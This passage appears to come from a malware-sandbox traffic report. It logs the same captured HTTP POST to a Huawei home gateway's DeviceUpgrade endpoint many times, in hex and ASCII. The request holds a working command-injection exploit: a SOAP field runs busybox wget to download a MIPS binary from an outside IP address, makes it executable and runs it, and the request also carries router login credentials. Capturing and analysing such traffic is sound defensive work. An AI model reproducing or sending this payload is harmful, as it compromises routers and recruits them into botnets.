6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
